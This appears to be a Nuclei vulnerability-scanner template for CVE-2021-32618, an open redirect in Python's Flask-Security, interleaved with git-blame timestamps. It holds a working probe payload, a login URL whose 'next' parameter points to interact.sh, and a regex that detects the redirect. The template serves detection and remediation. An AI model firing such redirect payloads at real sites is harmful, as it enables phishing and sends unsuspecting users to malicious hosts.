2022-01-18 07:21:00 +00:00
id : CVE-2021-32618
info :
2022-10-19 21:11:27 +00:00
name : Python Flask-Security - Open Redirect
2022-01-18 07:21:00 +00:00
author : 0x_Akoko
severity : medium
2022-10-19 21:11:27 +00:00
description : Python Flask-Security contains an open redirect vulnerability. Existing code validates that the URL specified in the next parameter is either relative or has the same network location as the requesting URL. Certain browsers accept and fill in the blanks of possibly incomplete or malformed URLs. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade to the latest version of Python Flask-Security library to fix the open redirect vulnerability.
2022-01-18 07:21:00 +00:00
reference :
- https://github.com/Flask-Middleware/flask-security/security/advisories/GHSA-6qmf-fj6m-686c
- https://github.com/Flask-Middleware/flask-security/issues/486
- https://nvd.nist.gov/vuln/detail/CVE-2021-32618
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2022-01-18 07:21:00 +00:00
cve-id : CVE-2021-32618
cwe-id : CWE-601
2023-04-12 10:55:48 +00:00
epss-score : 0.00104
2023-12-12 11:07:52 +00:00
epss-percentile : 0.42118
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:flask-security_project:flask-security:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-15 16:29:17 +00:00
vendor : flask-security_project
product : flask-security
2023-12-05 09:50:33 +00:00
tags : cve,cve2021,redirect,flask,flask-security_project
2022-01-18 07:21:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-01-18 07:21:00 +00:00
- method : GET
path :
2022-06-06 10:40:15 +00:00
- '{{BaseURL}}/login?next=\\\interact.sh'
2022-01-18 07:21:00 +00:00
matchers :
- type : regex
part : header
regex :
2023-03-01 08:39:14 +00:00
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
2023-12-12 12:02:03 +00:00
# digest: 4a0a004730450220413311d1c9911c1f63b30c9350917abe3f95d2d6208691102a62ed73247bc2bd022100cb82c4a23213e88f5abc237c9c0dae52c07cd559cd13d79f9c24a99a6aed8856:922c64590222798bb761d5b6d8e72950